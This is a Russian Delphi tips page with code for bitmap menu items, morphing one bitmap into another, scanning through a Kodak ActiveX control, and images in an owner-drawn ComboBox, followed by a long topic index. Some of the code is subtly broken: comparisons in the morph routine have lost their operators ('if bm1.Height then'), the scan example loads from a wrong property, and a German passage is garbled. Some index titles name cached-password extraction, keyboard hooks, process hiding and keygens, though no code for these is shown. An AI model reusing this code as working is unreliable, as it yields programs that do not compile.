Автор: Neil Rubenking В своем меню я хочу иметь графику. Но как мне сделать это?Воспользуйтесь командой ModifyMenu. Тем не менее, Delphi 1.0 имеет привычку СТИРАТЬ изменения в пунктах меню, к примеру, созданных на основе изображения или отрисованных вручную. Если вы пользуетесь этими "фишками", вы НЕ должны осуществлять enable/disable или check/uncheck элементов меню через свойства. Вместо этого вы должны вызывать соответствующие функции Windows API. Вот демонстрационный пример из моей книги Delphi Programming Problem Solver, демонстрирующий элементы меню на основе изображений. Подразумевается, что вы создали форму и главное меню. Меню содержит пустое подменю File (необязательно) и меню верхнего уровня с именем Brush1. Ниже Brush1 вы должны иметь шесть пунктов подменю; их имена могут быть абстрактными, но в приведенном ниже коде они поименованы шестью стилями кисти. Вот сам код:
unit bitmenuu;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics,
Controls, Forms, Dialogs, ExtCtrls, Menus;
type
TForm1 = class(TForm)
MainMenu1: TMainMenu;
File1: TMenuItem;
Brush1: TMenuItem;
Horizontal1: TMenuItem;
Vertical1: TMenuItem;
FDiagonal1: TMenuItem;
BDiagonal1: TMenuItem;
Cross1: TMenuItem;
DiagCross1: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure BrushStyleClick(Sender: TObject);
private
{ Private declarations }
Bitmaps: array[0..5] of TBitmap;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
var
N: Integer;
begin
with Brush1 do
for N := 0 to 5 do
begin
Bitmaps[N] := TBitmap.Create;
with Bitmaps[N], Canvas do
begin
Width := 80;
Height := 16;
Brush.Color := clMenu;
Rectangle(0, 0, 80, 16);
Brush.Color := clMenuText;
Brush.Style := TBrushStyle(N + 2);
Rectangle(0, 0, 80, 16);
end;
ModifyMenu(Handle, N, MF_BYPOSITION or MF_BITMAP,
GetMenuItemID(Handle, N), PChar(Bitmaps[N].Handle));
end;
end;
procedure TForm1.BrushStyleClick(Sender: TObject);
var
N: Integer;
begin
with Brush1 do
for N := 0 to Count - 1 do
{$IFDEF Win32}
Items[N].Checked := Items[N] = Sender;
{$ELSE}
if Items[N] = Sender then
CheckMenuItem(Handle, N, MF_BYPOSITION or MF_CHECKED)
else
CheckMenuItem(Handle, N, MF_BYPOSITION or MF_UNCHECKED);
{$ENDIF}
with Sender as TMenuItem do
Brush.Style := TBrushStyle(Tag);
Refresh;
end;
end.
|
OK, в обработчике события формы OnCreate мы создаем шесть изображений и используем ModifyMenu для их назначения каждому из шести пунктов подменю. В обработчике события OnClick мы, в зависимости от того используется Delphi 2.0 или нет, применяем ту или иную технологию установки атрибутов пункта меню. В Delphi 2.0 мы должны обойти все пункты меню и установить Checked в True только для тех пунктов, на которых щелкали мышью. В Delphi 1.0 мы должны воспользоваться API функцией CheckMenuItem. Попробуйте это!
Плавно превратить один рисунок в другой.
procedure TForm1.Button1Click(Sender: TObject);
const
count = 100;
var
i: integer;
x, y: integer;
bm, bm1, bm2: TBitMap;
p1, p2, p: PByteArray;
c: integer;
k: integer;
begin
bm := TBitMap.Create;
bm1 := TBitMap.Create;
bm2 := TBitMap.Create;
bm1.LoadFromFile('Bitmap1.bmp');
bm2.LoadFromFile('Bitmap2.bmp');
if bm1.Height then
begin
bm.Height := bm1.Height;
bm2.Height := bm1.Height;
end
else
begin
bm.Height := bm2.Height;
bm1.Height := bm2.Height;
end;
if bm1.Width then
begin
bm.Width := bm1.Width;
bm2.Width := bm1.Width;
end
else
begin
bm.Width := bm2.Width;
bm1.Width := bm2.Width;
end;
bm.PixelFormat := pf24bit;
bm1.PixelFormat := pf24bit;
bm2.PixelFormat := pf24bit;
Form1.Canvas.Draw(0, 0, bm1);
for i := 1 to count - 1 do
begin
for y := 0 to bm.Height - 1 do
begin
p := bm.ScanLine[y];
p1 := bm1.ScanLine[y];
p2 := bm2.ScanLine[y];
for x := 0 to bm.Width * 3 - 1 do
p^[x] := round((p1^[x] * (count - i) + p2^[x] * i) / count);
end;
Form1.Canvas.Draw(0, 0, bm);
Form1.Caption := IntToStr(round(i / count * 100)) + '%';
Application.ProcessMessages;
if Application.Terminated then
break;
end;
Form1.Canvas.Draw(0, 0, bm2);
Form1.Caption := 'done';
bm1.Destroy; bm2.Destroy; bm.Destroy;
end;
|
Сканирование изображений.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
The setup program for Imaging (tool that ships with Windows > 98) installs the Image Scan control (OCX) and the 32-bit TWAIN DLLs. All you have to do is to import this ActiveX control in Delphi and generate a component wrapper: Import the ActiveX Control "Kodak Image Scan Control" (Select Component|Import ActiveX Control...) Now add a TImgScan Component from the Register "ActiveX" to your form. Change the following Properties in the Object Inspector: FileType = 3 - BMP_Bitmap PageOption = 4 - OverwritePages ScanTo = 2 - FileOnly {***} Das Setup Programm fьг Imaging (Ist bei Windows > 98 dabei) installiert das Bild Scanning Control (OCX) und die 32-bit TWAIN DLLs. Importiere das ActiveX-Control "Steuerung fьг Kodak-Bildscan". (Im Меnь Komponente, "ActiveX importieren" anklicken.) Dann "Steuerung fьг Kodak-Bildscan..." аиswдh1еn und den "Installieren..." Button anklicken. Fьgе nun eine "TImgScan" Komponente aus dem Register "ActiveX" auf dem Formular ein. Дndеге im Objektinspektor unter "ImgScan1" folgende Eigenschaften: FileType = 3 - BMP_Bitmap PageOption = 4 - OverwritePages ScanTo = 2 - FileOnly {***}
procedure TForm1.Button1Click(Sender: TObject);
begin
if imgScan1.ScannerAvailable then
try
imgScan1.Image := 'c:\Scanner.bmp';
imgScan1.OpenScanner;
imgScan1.Zoom := 100;
imgScan1.StartScan;
Application.ProcessMessages;
finally
imgScan1.CloseScanner;
{ Show the scanned image in Image1 }
imgScan1.Picture.LoadFromFile(Image1.Image);
end;
end;
Как поместить картинки в ComboBox.

Делается это при помощи стиля ownerdraw, который присутствует в TComboBox. Нас интересуют два свойства этого стиля:
csOwnerDrawFixed - используется, если все битмапы имеют одинаковую высоту csOwnerDrawVariable - используется для битмапов с разной высотойПосле того как стиль будет установлен на один из вышеперечисленных, то можно воспользоваться событием onDrawItem. Это событие возникает каждый раз, когда приложению необходимо нарисовать пункт в выпадающем списке (combo box). Событие определяется следующим образом:
procedure TForm1.ComboBox1DrawItem(Control: TWinControl; index: Integer; Rect: TRect; State: TOwnerDrawState) |
Если выпадающему списку был присвоен стиль csOwnerDrawFixed, то всё, что надо сделать, это написать процедуру, которая будет рисовать битмап и текст в событии onDrawItem.
Для выпадающего списка со стилем csOwnerDrawVariable необходимо пройти ещё одну дополнительную стадию. Заключается эта стадия в создании обработчика для события onMeasureItem. Это событие вызывается перед DrawItem, для того, чтобы Вы могли установить фактическую высоту для каждого элемента списка. Вот его определение:
procedure TForm1.ComboBox1MeasureItem(Control: TWinControl; index: Integer; var Height: Integer); |
От теории к практике
Создайте новое приложение. Разместите на форме combobox и imagelist (если Вы используете delphi 1, то Вам прийдётся хранить битмапы каким-то другим способом). В Object Inspector установите следующие свойства:
ComboBox1 -> Style -> csOwnerDrawFixed -> Чтобы мы могли контролировать рисованием элементов.
ComboBox1 -> Items -> Здесь можно добавить любые строки, которые будут отображаться рядом с битмапами. Чтобы каждый элемент имел описание к картинке.
ImageList1 -> Используйте редактор списка картинок (ImageList Editor) Добавьте битмапы в том порядке, в котором они будут отображаться в combobox, а так же проверьте, чтобы они были одного размера. Прозрачный цвет можно установить здесь же. Это картинки, которые появятся в выпадающем списке.
В заключение необходимо добавить следующий код для события onDrawItem:
procedure TForm1.ComboBox1DrawItem(Control: TWinControl; index:Integer; Rect: TRect; State: TOwnerDrawState); begin (* Заполняем прямоугольник *) combobox1.canvas.fillrect(rect); (* Рисуем сам битмап *) imagelist1.Draw(comboBox1.Canvas,rect.left,rect.top,index); (* Пишем текст после картинки *) combobox1.canvas.textout(rect.left+imagelist1.width+2,rect.top, combobox1.items[index]); end; |
Содержание.
- Как узнать или установить аттрибуты файла.
- Установить или получить статус Off-Line.
- Как получить или установить приоритет процесса в Win9x или Me.
- Как узнать и поменять разрешение экрана.
- Определить и выставить значение текстового свойства.
- Получить и установить системные цвета.
- Получаем и устанавливаем различные режимы видеоадаптера.
- Получение и установка видеорежимов в Windows.
- Получить или установить задний фон в TWebBrowser.
- Получение уведомлений от оболочки (Shell).
- Получить иконку из ярлыка.
- Как получить короткий путь файла если есть длинный.
- Как считать сигнал с микрофона.
- Извлечение звуков из системного динамика под Windows95.
- Извлечение звуков из системного динамика под Windows95 2.
- Получить звук с микрофона.
- Получить все поддиректории указанной директории.
- Взять один символ из потока памяти.
- Получить системный фокус приложения.
- Вывести информацию о системе.
- Получить шрифт системного меню.
- Получение информации о таблице.
- Получение физического пути к таблице.
- Получить дескриптор панели задач.
- Получение информации о TaskBar.
- Определить позицию панели задач.
- Определить позицию панели задач 2.
- Получить дескриптор окна, которое владеет кнопками запущенных программ на панели задач.
- Как оперделить все IP и порты на моем компьютере.
- Как получить текст HTML Документа из TWebBrowser без тегов.
- Как получить текст HTML Документа из TWebBrowser без тегов 2.
- Извлечение текста из TMemoField.
- Обнаружить, использует ли пользователь стиль XP или классический стиль.
- Как получить список часовых поясов.
- Разбивка строки на слова.
- Как получить весь размер системной памяти.
- Получить прозрачный цвет.
- Функция, возвращающая тип.
- Получить список зарегистрированных Win32 модулей и их версий.
- Определить доменное имя, в которое зашел пользователь.
- Получить список пользователей.
- Получить список пользователей, подключённых к сети.
- Пример получения имени пользователя и домена под которым работает текущий поток или процесс.
- Как узнать имя пользователя.
- Как определить bitrate WAV файла.
- Как определить продолжительность в секундах wav файла.
- Получить номер недели по дате.
- Как получить закэшированные пароли в Win9x.
- Получить тип файла Windows.
- Как узнать версию Windows.
- Как узнать версию Windows 2.
- Получить текст заголовка определенного окна.
- Узнать путь к каталогам Windows.
- Выбрать слово из строки по номеру.
- Получить сообщение о переключении сессии в XP.
- GIF для HTML в EXE.
- Получить размер GIF-картинки.
- Как работать с GIF файлами.
- Как работать с GIF файлами 2.
- Кривая Гильберта.
- Как добавить функции картографирования в приложение.
- Глобальный хук на клаву.
- Глобальный дескриптор исключений.
- Эффективно организовать объявление глобальных переменных.
- Уменьшение мерцания ListBox в обработчике OwnerDraw.
- Как перейти к указанной записи в БД.
- Переместиться в конец файла.
- Плавный переход одного цвета в другой.
- Алгоритм градиентной заливки.
- Создание градиентной заливки.
- Компонент градиентной раскраски областей.
- Табуляция в графическом ListBox.
- Компоненты для работы с графикой.
- Графический редактор.
- Как сделать графический Hint.
- Построение графика.
- График и отображаемый в память файл.
- График функции.
- Сетка и отображаемый в память файл.
- Grid с человеческим лицом.
- Компоненты для печати TStringGrid и TDBGrid.
- Как заставить GroupBox прорисовать на форме свой Caption неактивным цветом.
- GROUPFILE и ADDITEM для групп.
- Сгруппировать свойства наподобие Font.
- Автоматическая генерация GUID в редакторе кода.
- GUI. Перегрузка контролами.
- Наполовину активное окно.
- Полупрозрачная форма в Win2000.
- Полупрозрачное окно в Win2000.
- Зависание Delphi 4(5).
- Как подвесить WIN или DOS.
- Создание hardlink и symbolic link.
- Модуль для подсчета CRC64.
- Модуль для подсчета хеш-суммм с помощью MD5.
- Как выяснить имеет ли объект определённое свойство.
- Как определить, есть ли некоторое свойство у объекта.
- Является ли шрифт шрифтом с фиксированной шириной.
- Как узнать, была ли перемещена форма.
- Как узнать - присутствует ли мышка.
- Как узнать есть ли у мыши колесико.
- Определение наличия в процессоре технологии MMX.
- Как во время выполнения определить поддерживает ли обьект заданное свойство.
- Как узнать, есть ли в приёмном буфере RS232 данные.
- Как определить наличие сопроцессора.
- Как выяснить установлены ли в системе шрифты TrueType.
- Асталависта - территория взлома.
- Управление метками томов дисков.
- Серийный номер тома HDD.
- Диспетчер кучи для объектов одного размера.
- Hello, MiniProg.
- Hello, MiniProg 2.
- Доступ к справочной информации.
- Обработать нажатие на кнопку Help в диалоговом окне.
- Файл документа справочной информации.
- Оглавление файлов помощи (Help Files Contents).
- Как привязать файлы помощи в Delphi.
- Показ диалога Help Search.
- Показ диалога Help Search 2.
- Показ диалога Help Search 3.
- Как вызвать подсказку к подсказке.
- Как использовать файлы справки.
- Чтобы в приложении вызывался Help с окошечком для поиска раздела.
- Создание файла справки из html-страниц.
- Из шестнадцатеричного числа в целое.
- Из шестнадцатеричного числа в двоичное.
- Процедура для преобразования HEX чисел в Integer.
- Из HEX и Integer.
- Из HEX и Integer 2.
- Преобразование шестнадцатеричных чисел в целые.
- Загрузить web-страницу со скрытым IP.
- Скрывать свернутые дочерние формы MDI приложения.
- Как запретить показ курсора в TEdit и ему подобных контролах.
- Скрыть свойства в IDE.
- Скрыть окна IDE во время проектирования.
- Скрыть статус соединения с Интернетом с TrayBar.
- Скрыть истинный IP.
- Спрятать горизонтальную или вертикальную полосу прокрутки в TListView.
- Как спрятать окна MDI Child.
- Как отключить курсор мыши.
- Скрытие или отображение процесса из списка процессов.
- Скрыть кнопку программы на панели задач.
- Как скрыть свойства объекта.
- Как убрать публичное свойство компонента.
- Скрыть панель задач.
- Как спрятать заголовок формы.
- Спрятать Titlebar.
- Как спрятать кнопки в заголовке окна.
- Спрятать часы в Tray.
- Скрыть Tray, часы, кнопку ПУСК, панель задач.
- Подсветить элемент списка по движению мышки.
- Подсветка синтаксиса.
- Компонент для подсветки синтаксиса.
- Расширения оболочки Windows - Всплывающие подсказки.
- Как показать подсказки Hints для элементов меню.
- Выводим подсказки на TStatusBar.
- Использование всплывающих подсказок HINTS.
- Hint в выпадающем списке ComboBox.
- Как вывести Hint для ячейки DBGrid.
- Функция, которая работает быстрее чем HiWord.
- Hooks - аспекты реализации.
- Перехват функции в собственном приложении.
- Использование НООК в Delphi.
- Как отловить нажатия клавиш для всех процессов в системе.
- Перехват (Hook) клавиатуры (программа Sendkeys).
- Перехватить нажатие клавиши на клавиатуре.
- Функции WinAPI Hook.
- Пример компонента HotSpot.
- Создание собственных горячих клавиш.
- Как повесить винду.
- Как долго запущена Windows.
- Как узнать количество бит в цветовой палитре.
- Как узнать количество бит в цветовой палитре 2.
- Как обрабатывать сообщения.
- Как использовать ChartFX.
- Как работать с палитрой в Delphi.
- Показать код HTML страницы в TMemo.
- Как получить цвет строки в HTML формате.
- Как преобразовать шестнадцатиричный цвет HTML в TColor.
- HTMLEditor - Краткий обзор.
- Компонента HTML - редактора.
- Закачать файл на WEB-сервер с помощью HTML.
- Как сохранить веб страничку в Bitmap.
- Скопировать HTML-код в буфер обмена.
- Перевод строки HTML кода в цвет.
- Как сохранить веб страничку в JPEG.
- Преобразование HTML в RTF.
- HTTP кодирование строки.
- Пример HTTP Get - загружаем файлы и страницы из Интернета.
- Вывести результат запроса HTTP Post.
- Работа с HTTP протоколом.
- HyperText Transfer Protocol - протокол обмена WWW-серверов.
- Огромные LCK-файлы.
- Огромные числа.
- Определить ширину и высоту символа.
- Установка Interbase и добавление пользователя.
- Как заставить Interbase принять COLLATE PXW_CYRL по умолчанию.
- Программное создание и удаление базы данных Interbase, а так же выполнение SQL-скриптов.
- Описание протокола ICMP (Internet Control Message Protocol).
- Иконки в PopupMenu.
- Иконка на TrayBar - пример 2.
- Иконка на TrayBar.
- Как поместить иконку в Tray.
- Как создать BMP из ICO.
- Как создать BMP из ICO 2.
- Как создать BMP из ICO 3.
- Как создать BMP из ICO 4.
- Преобразование иконок в Gliph-ы.
- Как поместить иконку в окошко подсказки.
- Как поместить иконку в TrayBar.
- ICQ2000 сделай сам 1.
- ICQ2000 сделай сам 10.
- ICQ2000 сделай сам 2.
- ICQ2000 сделай сам 3.
- ICQ2000 сделай сам 4.
- ICQ2000 сделай сам 5.
- ICQ2000 сделай сам 6.
- ICQ2000 сделай сам 7.
- ICQ2000 сделай сам 8.
- ICQ2000 сделай сам 9.
- Просмотр и редактирование тэга ID3 (MP3).
- Проверка наличия IDAPI.
- Конфликт IDAPI German и English.
- Ограничения IDAPI.
- Часто задаваемые вопросы по дизассемблеру IDA Pro.
- Установка и использование IDA Pro.
- Модуль для IDEA шифрования.
- Пишем КейГен для IDentify - Version 1.1.
- Активизация и использование в IDE окна CPU.
- Записать и проиграть нажатие клавиш в IDE.
- Восстановить позицию по умолчанию панелей инструментов в IDE Delphi.
- Программно управлять меню Инструменты в среде Delphi.
- Работа с IDE из программы.
- Как проверить готовность диска А.
- Как проверить готовность диска А 2.
- Как нажать кнопку в TWebBrowser, когда в окне есть несколько кнопок.
- Удалить временные файлы IE.
- Автоматическое заполнение web-форм в запущенном IE.
- Как вызвать команды Find, Options или View Source.
- Как автоматически заполнить поля формы в IE.
- Получить выделенный текст из окна IE.
- Прерывать сообщения Internet Explorer.
- Контролирование IE при помощи OLE.
- Как добавить пункт в контекстное меню IE.
- Обновить все окна программы Internet Explorer.
- Заставить IE перечитать установки из реестра.
- Как прочитать или изменить StartPage IE.
- Получить версию IE.
- Условие создания главной формы.
- Получение одной строки из двух (функция подобная IIF в Foxpro).
- Перемещение иконок между несколькими TImageLists.
- Сохранить TImageList в файл со всеми картинками.
- Элементы меню на основе изображений.
- Плавно превратить один рисунок в другой.
- Сканирование изображений.
- Как поместить картинки в ComboBox.